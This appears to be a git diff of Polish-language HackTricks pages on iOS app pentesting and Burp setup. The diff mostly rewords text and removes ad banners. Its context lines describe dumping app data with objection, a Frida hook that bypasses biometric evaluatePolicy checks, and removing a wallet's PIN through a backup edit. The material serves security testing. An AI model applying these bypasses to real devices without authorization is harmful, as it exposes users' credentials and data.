+- **`PlugIns/`**: Może zawierać rozszerzenia do aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Służy do zapisywania trwałych danych aplikacji do użytku offline, do buforowania danych tymczasowych oraz do dodawania funkcji cofania do aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odzwierciedla schemat w kontenerze CloudKit. +- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Plik `PkgInfo` to alternatywny sposób określenia typu i kodów twórcy aplikacji lub pakietu. +- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób w przypadku, gdy dany język nie jest obsługiwany. - **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich plików w pakiecie za pomocą podpisów cyfrowych. - **Zarządzanie zasobami**: Plik `Assets.car` wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest kluczowe dla optymalizacji wydajności aplikacji i zmniejszenia jej ogólnego rozmiaru. -- **Frameworki i PlugIns**: Te katalogi podkreślają modularność aplikacji iOS, umożliwiając programistom dołączanie wielokrotnego użytku bibliotek kodu (`Frameworks/`) oraz rozszerzanie funkcjonalności aplikacji (`PlugIns/`). +- **Frameworki i PlugIns**: Te katalogi podkreślają modularność aplikacji iOS, umożliwiając deweloperom dołączanie wielokrotnego użytku bibliotek kodu (`Frameworks/`) i rozszerzanie funkcjonalności aplikacji (`PlugIns/`). - **Lokalizacja**: Struktura wspiera wiele języków, ułatwiając globalny zasięg aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych. **Info.plist** -**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Plik ten jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków w pakiecie. Jest zbudowany w formacie XML lub binarnym i zawiera istotne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). +**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie **par klucz-wartość**. Plik ten jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków zapakowanych w środku. Jest zbudowany w formacie XML lub binarnym i zawiera istotne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). Dla tych, którzy chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję XML można łatwo osiągnąć za pomocą `plutil` na macOS (dostępne natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Komendy do konwersji są następujące: @@ -194,7 +191,7 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -Wśród niezliczonych informacji, które plik **Info.plist** może ujawnić, istotne wpisy obejmują ciągi uprawnień aplikacji (`UsageDescription`), niestandardowe schematy URL (`CFBundleURLTypes`) oraz konfiguracje dla App Transport Security (`NSAppTransportSecurity`). Wpisy te, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), można łatwo zlokalizować, przeglądając plik lub używając prostego polecenia `grep`: +Wśród niezliczonych informacji, które plik **Info.plist** może ujawnić, szczególnie istotne wpisy to ciągi uprawnień aplikacji (`UsageDescription`), niestandardowe schematy URL (`CFBundleURLTypes`) oraz konfiguracje dla App Transport Security (`NSAppTransportSecurity`). Wpisy te, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), można łatwo zlokalizować, przeglądając plik lub używając prostego polecenia `grep`: ```bash $ grep -i Info.plist ``` @@ -243,7 +240,7 @@ lsof -p | grep -i "/containers" | head -n 1 - Zawartość tego katalogu **jest kopiowana**. - Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`. - **Library/** -- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **pamięci podręczne**, **preferencje**, **ciasteczka** i pliki konfiguracyjne listy właściwości (plist). +- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **pamięci podręczne**, **preferencje**, **ciasteczka** oraz pliki konfiguracyjne listy właściwości (plist). - Aplikacje iOS zazwyczaj używają podkatalogów `Application Support` i `Caches`, ale aplikacja może tworzyć własne podkatalogi. - **Library/Caches/** - Zawiera **półtrwałe pliki pamięci podręcznej.** @@ -358,15 +355,7 @@ double _field1; double _field2; }; ``` -Jednak najlepsze opcje do dekompilacji binariów to: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). - -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} +Jednak najlepszymi opcjami do dekompilacji binarnej są: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). ## Przechowywanie danych @@ -378,19 +367,19 @@ ios-basics.md > [!WARNING] > Następujące miejsca do przechowywania informacji powinny być sprawdzone **tuż po zainstalowaniu aplikacji**, **po sprawdzeniu wszystkich funkcjonalności** aplikacji, a nawet po **wylogowaniu się z jednego użytkownika i zalogowaniu się na innego**.\ -> Celem jest znalezienie **niechronionych wrażliwych informacji** aplikacji (hasła, tokeny), bieżącego użytkownika oraz wcześniej zalogowanych użytkowników. +> Celem jest znalezienie **niechronionych informacji wrażliwych** aplikacji (hasła, tokeny), bieżącego użytkownika oraz wcześniej zalogowanych użytkowników. ### Plist Pliki **plist** to strukturalne pliki XML, które **zawierają pary klucz-wartość**. To sposób na przechowywanie danych trwałych, więc czasami możesz znaleźć **wrażliwe informacje w tych plikach**. Zaleca się sprawdzenie tych plików po zainstalowaniu aplikacji i po intensywnym korzystaniu z niej, aby zobaczyć, czy zapisano nowe dane. -Najczęstszym sposobem na trwałe przechowywanie danych w plikach plist jest użycie **NSUserDefaults**. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w **`Library/Preferences/.plist`**. +Najczęstszym sposobem na trwałe przechowywanie danych w plikach plist jest użycie **NSUserDefaults**. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w **`Library/Preferences/.plist`** Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) zapewnia programowy interfejs do interakcji z domyślnym systemem. Domyślny system pozwala aplikacji dostosować swoje zachowanie zgodnie z **preferencjami użytkownika**. Dane zapisane przez `NSUserDefaults` można przeglądać w pakiecie aplikacji. Ta klasa przechowuje **dane** w pliku **plist**, ale jest przeznaczona do użycia z małymi ilościami danych. Dane te nie mogą być dłużej bezpośrednio dostępne za pomocą zaufanego komputera, ale można uzyskać do nich dostęp, wykonując **kopię zapasową**. -Możesz **zrzucić** informacje zapisane za pomocą **`NSUserDefaults`** używając `ios nsuserdefaults get` z narzędzia objection. +Możesz **zrzucić** informacje zapisane za pomocą **`NSUserDefaults`** używając `ios nsuserdefaults get` z objection. Aby znaleźć wszystkie pliki plist używane przez aplikację, możesz uzyskać dostęp do `/private/var/mobile/Containers/Data/Application/{APPID}` i uruchomić: ```bash @@ -413,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/ ``` ### Core Data -[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) to framework do zarządzania warstwą modelu obiektów w Twojej aplikacji. [Core Data może używać SQLite jako swojego trwałego magazynu](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ale sam framework nie jest bazą danych.\ +[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) to framework do zarządzania warstwą modelu obiektów w Twojej aplikacji. [Core Data może używać SQLite jako swojego trwałego magazynu](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ale samo framework nie jest bazą danych.\ CoreData domyślnie nie szyfruje swoich danych. Jednak dodatkowa warstwa szyfrowania może być dodana do CoreData. Zobacz [GitHub Repo](https://github.com/project-imas/encrypted-core-data) po więcej szczegółów. Możesz znaleźć informacje o SQLite Core Data aplikacji w ścieżce `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` @@ -500,7 +489,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S iOS przechowuje pliki cookie aplikacji w **`Library/Cookies/cookies.binarycookies`** wewnątrz folderu każdej aplikacji. Jednak deweloperzy czasami decydują się na zapisanie ich w **keychain**, ponieważ wspomniany **plik cookie może być dostępny w kopiach zapasowych**. -Aby sprawdzić plik cookie, możesz użyć [**tego skryptu python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) lub użyć **`ios cookies get`** z objection.\ +Aby sprawdzić plik cookie, możesz użyć [**tego skryptu w Pythonie**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) lub użyć **`ios cookies get`** z objection.\ **Możesz także użyć objection, aby** przekonwertować te pliki na format JSON i sprawdzić dane. ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json @@ -529,11 +518,11 @@ Zaleca się **wyłączenie buforowania tych danych**, ponieważ mogą one zawier Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db. -2. Jeśli nie potrzebujesz korzystać z zalet ciasteczek, zaleca się po prostu użycie właściwości konfiguracyjnej [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) URLSession, która wyłączy zapisywanie ciasteczek i buforów. +2. Jeśli nie musisz korzystać z zalet ciasteczek, zaleca się po prostu użycie właściwości konfiguracyjnej [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) URLSession, która wyłączy zapisywanie ciasteczek i buforów. [Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): -`Obiekt konfiguracyjny sesji ephemerowej jest podobny do domyślnego obiektu konfiguracyjnego sesji (patrz domyślny), z tą różnicą, że odpowiadający mu obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja ephemerowa zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.` +`Obiekt konfiguracyjny sesji ephemerowej jest podobny do domyślnej konfiguracji sesji (patrz domyślna), z wyjątkiem tego, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym momentem, w którym sesja ephemerowa zapisuje dane na dysku, jest sytuacja, gdy powiesz jej, aby zapisała zawartość URL do pliku.` 3. Bufor można również wyłączyć, ustawiając politykę buforowania na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Wyłączy to przechowywanie buforu w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku. @@ -595,7 +584,7 @@ Aby wyodrębnić te zapisane dane uwierzytelniające, używana jest komenda Obje ## **Niestandardowe Klawiatury i Pamięć Klawiatury** -Od iOS 8.0 użytkownicy mogą instalować rozszerzenia niestandardowych klawiatur, które są zarządzane w **Ustawienia > Ogólne > Klawiatura > Klawiatury**. Chociaż te klawiatury oferują rozszerzoną funkcjonalność, niosą ryzyko rejestrowania naciśnięć klawiszy i przesyłania danych do zewnętrznych serwerów, chociaż użytkownicy są informowani o klawiaturach wymagających dostępu do sieci. Aplikacje mogą i powinny ograniczać użycie niestandardowych klawiatur do wprowadzania wrażliwych informacji. +Od iOS 8.0 użytkownicy mogą instalować niestandardowe rozszerzenia klawiatur, które są zarządzane w **Ustawienia > Ogólne > Klawiatura > Klawiatury**. Chociaż te klawiatury oferują rozszerzoną funkcjonalność, niosą ze sobą ryzyko rejestrowania naciśnięć klawiszy i przesyłania danych do zewnętrznych serwerów, chociaż użytkownicy są informowani o klawiaturach wymagających dostępu do sieci. Aplikacje mogą i powinny ograniczać użycie niestandardowych klawiatur do wprowadzania wrażliwych informacji. **Zalecenia dotyczące bezpieczeństwa:** @@ -645,29 +634,19 @@ Dla bardziej zaawansowanego logowania, połączenie z powłoką urządzenia i u ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ``` -Śledzone są polecenia do obserwacji aktywności logów, które mogą być nieocenione w diagnozowaniu problemów lub identyfikowaniu potencjalnych wycieków danych w logach. - ---- - -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} +Śledzone polecenia do obserwacji aktywności logów, które mogą być nieocenione w diagnozowaniu problemów lub identyfikowaniu potencjalnych wycieków danych w logach. ## Kopie zapasowe -**Funkcje automatycznego tworzenia kopii zapasowych** są zintegrowane z iOS, co ułatwia tworzenie kopii danych urządzenia za pomocą iTunes (do macOS Catalina), Findera (od macOS Catalina wzwyż) lub iCloud. Te kopie zapasowe obejmują prawie wszystkie dane urządzenia, z wyjątkiem wysoce wrażliwych elementów, takich jak szczegóły Apple Pay i konfiguracje Touch ID. +**Funkcje automatycznego tworzenia kopii zapasowych** są zintegrowane z iOS, ułatwiając tworzenie kopii danych urządzenia za pomocą iTunes (do macOS Catalina), Findera (od macOS Catalina wzwyż) lub iCloud. Te kopie zapasowe obejmują prawie wszystkie dane urządzenia, z wyjątkiem wysoce wrażliwych elementów, takich jak szczegóły Apple Pay i konfiguracje Touch ID. ### Ryzyka bezpieczeństwa -Włączenie **zainstalowanych aplikacji i ich danych** do kopii zapasowych rodzi problem potencjalnego **wycieku danych** oraz ryzyko, że **zmiany w kopiach zapasowych mogą wpłynąć na funkcjonalność aplikacji**. Zaleca się **nieprzechowywanie wrażliwych informacji w postaci tekstu jawnego** w katalogu aplikacji ani jej podkatalogach, aby zminimalizować te ryzyka. +Włączenie **zainstalowanych aplikacji i ich danych** do kopii zapasowych podnosi kwestię potencjalnego **wycieku danych** oraz ryzyko, że **zmiany w kopiach zapasowych mogą wpłynąć na funkcjonalność aplikacji**. Zaleca się **nieprzechowywanie wrażliwych informacji w postaci tekstu jawnego** w katalogu aplikacji ani jej podkatalogach, aby zminimalizować te ryzyka. ### Wykluczanie plików z kopii zapasowych -Pliki w `Documents/` i `Library/Application Support/` są domyślnie kopiowane. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z kluczem `NSURLIsExcludedFromBackupKey`. Ta praktyka jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych. +Pliki w `Documents/` i `Library/Application Support/` są domyślnie tworzone w kopiach zapasowych. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z kluczem `NSURLIsExcludedFromBackupKey`. Ta praktyka jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych. ### Testowanie pod kątem podatności @@ -690,11 +669,11 @@ Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, skrypty Pythona dostęp ### Modyfikowanie zachowania aplikacji -Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej jest pokazany w [aplikacji portfela bitcoin Bither](https://github.com/bither/bither-ios), gdzie PIN blokady UI jest przechowywany w `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z plist i przywrócenie kopii zapasowej usuwa wymóg podawania PIN-u, zapewniając nieograniczony dostęp. +Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej jest pokazany w [aplikacji portfela bitcoin Bither](https://github.com/bither/bither-ios), gdzie PIN blokady interfejsu użytkownika jest przechowywany w `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z plist i przywrócenie kopii zapasowej usuwa wymóg podawania PIN-u, zapewniając nieograniczony dostęp. ## Podsumowanie dotyczące testowania pamięci w przypadku danych wrażliwych -Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, kluczowe jest ograniczenie czasu ekspozycji tych danych. Istnieją dwa główne podejścia do badania zawartości pamięci: **tworzenie zrzutu pamięci** i **analiza pamięci w czasie rzeczywistym**. Obie metody mają swoje wyzwania, w tym możliwość pominięcia krytycznych danych podczas procesu zrzutu lub analizy. +Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, kluczowe jest ograniczenie czasu ekspozycji tych danych. Istnieją dwa główne podejścia do badania zawartości pamięci: **tworzenie zrzutu pamięci** i **analiza pamięci w czasie rzeczywistym**. Obie metody mają swoje wyzwania, w tym potencjalne pominięcie krytycznych danych podczas procesu zrzutu lub analizy. ## **Odzyskiwanie i analiza zrzutu pamięci** @@ -729,28 +708,28 @@ Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują ### Use of Insecure and/or Deprecated Algorithms -Deweloperzy nie powinni używać **deprecated algorithms** do przeprowadzania **checks** autoryzacji, **store** lub **send** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashes** są używane do przechowywania haseł, powinny być używane hashe odporne na brute-force z solą. +Deweloperzy nie powinni używać **deprecated algorithms** do przeprowadzania **checks** autoryzacji, **store** lub **send** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashes** są używane do przechowywania haseł, powinny być stosowane **brute-force resistant** hashe z solą. ### Check -Główne kontrole do przeprowadzenia to sprawdzenie, czy można znaleźć **hardcoded** hasła/tajemnice w kodzie, czy są one **predictable**, oraz czy kod używa jakiegoś rodzaju **weak** **cryptography** algorithms. +Główne kontrole, które należy przeprowadzić, to sprawdzenie, czy można znaleźć **hardcoded** hasła/tajemnice w kodzie, czy są one **predictable**, oraz czy kod używa jakiegoś rodzaju **weak** **cryptography** algorithms. Ciekawe jest to, że można **monitor** niektóre **crypto** **libraries** automatycznie za pomocą **objection** z: ```swift ios monitor crypt ``` -Dla **więcej informacji** na temat iOS cryptographic APIs i bibliotek, odwiedź [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) +Dla **więcej informacji** na temat iOS kryptograficznych API i bibliotek, odwiedź [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) ## Autoryzacja lokalna **Autoryzacja lokalna** odgrywa kluczową rolę, szczególnie w kontekście zabezpieczania dostępu do zdalnego punktu końcowego za pomocą metod kryptograficznych. Istotą jest to, że bez odpowiedniej implementacji mechanizmy autoryzacji lokalnej mogą być obejście. -Framework [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) firmy Apple oraz [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) oferują solidne API dla deweloperów, aby ułatwić dialogi autoryzacji użytkownika i bezpiecznie obsługiwać dane tajne. Secure Enclave zabezpiecza identyfikację odcisku palca dla Touch ID, podczas gdy Face ID opiera się na rozpoznawaniu twarzy bez kompromitowania danych biometrycznych. +Framework [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) firmy Apple oraz [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) oferują solidne API dla deweloperów, aby ułatwić dialogi autoryzacji użytkowników i bezpiecznie obsługiwać dane poufne. Secure Enclave zabezpiecza identyfikację odcisku palca dla Touch ID, podczas gdy Face ID opiera się na rozpoznawaniu twarzy bez kompromitowania danych biometrycznych. Aby zintegrować Touch ID/Face ID, deweloperzy mają dwa wybory API: -- **`LocalAuthentication.framework`** do autoryzacji użytkownika na wysokim poziomie bez dostępu do danych biometrycznych. -- **`Security.framework`** do dostępu do usług keychain na niższym poziomie, zabezpieczając dane tajne za pomocą autoryzacji biometrycznej. Różne [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) ułatwiają dostęp do keychain. +- **`LocalAuthentication.framework`** do autoryzacji użytkowników na wysokim poziomie bez dostępu do danych biometrycznych. +- **`Security.framework`** do dostępu do usług keychain na niższym poziomie, zabezpieczając dane poufne za pomocą autoryzacji biometrycznej. Różne [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) ułatwiają dostęp do keychain. > [!CAUTION] > Jednak zarówno `LocalAuthentication.framework`, jak i `Security.framework` mają luki, ponieważ głównie zwracają wartości boolean bez przesyłania danych do procesów autoryzacji, co czyni je podatnymi na obejście (zobacz [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). @@ -766,7 +745,7 @@ Sukces autoryzacji wskazuje wartość boolean zwrócona przez **`evaluatePolicy` ### Autoryzacja lokalna z użyciem Keychain -Implementacja **autoryzacji lokalnej** w aplikacjach iOS polega na użyciu **keychain APIs** do bezpiecznego przechowywania danych tajnych, takich jak tokeny autoryzacyjne. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub autoryzacji biometrycznej, takiej jak Touch ID. +Implementacja **autoryzacji lokalnej** w aplikacjach iOS polega na użyciu **API keychain** do bezpiecznego przechowywania danych poufnych, takich jak tokeny autoryzacyjne. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub autoryzacji biometrycznej, takiej jak Touch ID. Keychain oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu, dopóki użytkownik nie uwierzytelni się pomyślnie za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa. @@ -908,7 +887,7 @@ Jeśli `LocalAuthentication.framework` jest używany w aplikacji, wynik będzie ``` Jeśli używany jest `Security.framework`, tylko drugi zostanie wyświetlony. -### Ominięcie lokalnego uwierzytelniania +### Ominięcie Ramy Uwierzytelniania Lokalnego #### **Objection** @@ -955,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{ } } ``` -Aby osiągnąć **bypass** lokalnej autoryzacji, napisano skrypt Frida. Skrypt ten celuje w kontrolę **evaluatePolicy**, przechwytując jej callback, aby upewnić się, że zwraca **success=1**. Poprzez zmianę zachowania callbacka, kontrola autoryzacji jest skutecznie omijana. +Aby osiągnąć **obejście** lokalnej autoryzacji, napisano skrypt Frida. Skrypt ten celuje w kontrolę **evaluatePolicy**, przechwytując jej callback, aby upewnić się, że zwraca **success=1**. Poprzez zmianę zachowania callbacka, kontrola autoryzacji jest skutecznie omijana. Poniższy skrypt jest wstrzykiwany, aby zmodyfikować wynik metody **evaluatePolicy**. Zmienia wynik callbacka, aby zawsze wskazywał na sukces. ```swift @@ -1071,7 +1050,7 @@ Znaczącym wyzwaniem związanym z **SDK stron trzecich** jest **brak szczegóło Usługi świadczone przez SDK stron trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczeń użytkowników. Jednak wprowadza to ryzyko, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest, aby ograniczyć informacje udostępniane usługom stron trzecich do tego, co jest konieczne, i upewnić się, że żadne wrażliwe dane nie są ujawniane. -Implementacja usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikowalnych (PII). +Wdrożenie usług stron trzecich zazwyczaj odbywa się w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikowalnych (PII). Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. To narzędzie powinno być uruchamiane w odniesieniu do aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki. ```bash @@ -1095,7 +1074,7 @@ otool -L - [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064) - [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054) -- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) kurs IOS za darmo([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) +- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) kurs darmowy IOS([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) - [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) - [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) - [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) @@ -1105,11 +1084,5 @@ otool -L - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) -
-\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index 27ce27fd2..c5473d5a2 100644 --- a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -2,64 +2,56 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} - ## Instalacja certyfikatu Burp na urządzeniach iOS -Aby przeprowadzić analizę bezpiecznego ruchu internetowego i SSL pinning na urządzeniach iOS, Burp Suite można wykorzystać zarówno za pomocą **Burp Mobile Assistant**, jak i poprzez ręczną konfigurację. Poniżej znajduje się podsumowany przewodnik po obu metodach: +Aby przeprowadzić analizę bezpiecznego ruchu internetowego i SSL pinning na urządzeniach iOS, Burp Suite można wykorzystać zarówno za pomocą **Burp Mobile Assistant**, jak i poprzez ręczną konfigurację. Poniżej znajduje się podsumowany przewodnik dotyczący obu metod: ### Automatyczna instalacja z Burp Mobile Assistant **Burp Mobile Assistant** upraszcza proces instalacji certyfikatu Burp, konfiguracji proxy i SSL Pinning. Szczegółowe wskazówki można znaleźć w [oficjalnej dokumentacji PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). -### Kroki instalacji ręcznej +### Kroki ręcznej instalacji 1. **Konfiguracja proxy:** Rozpocznij od ustawienia Burp jako proxy w ustawieniach Wi-Fi iPhone'a. 2. **Pobieranie certyfikatu:** Przejdź do `http://burp` w przeglądarce urządzenia, aby pobrać certyfikat. 3. **Instalacja certyfikatu:** Zainstaluj pobrany profil przez 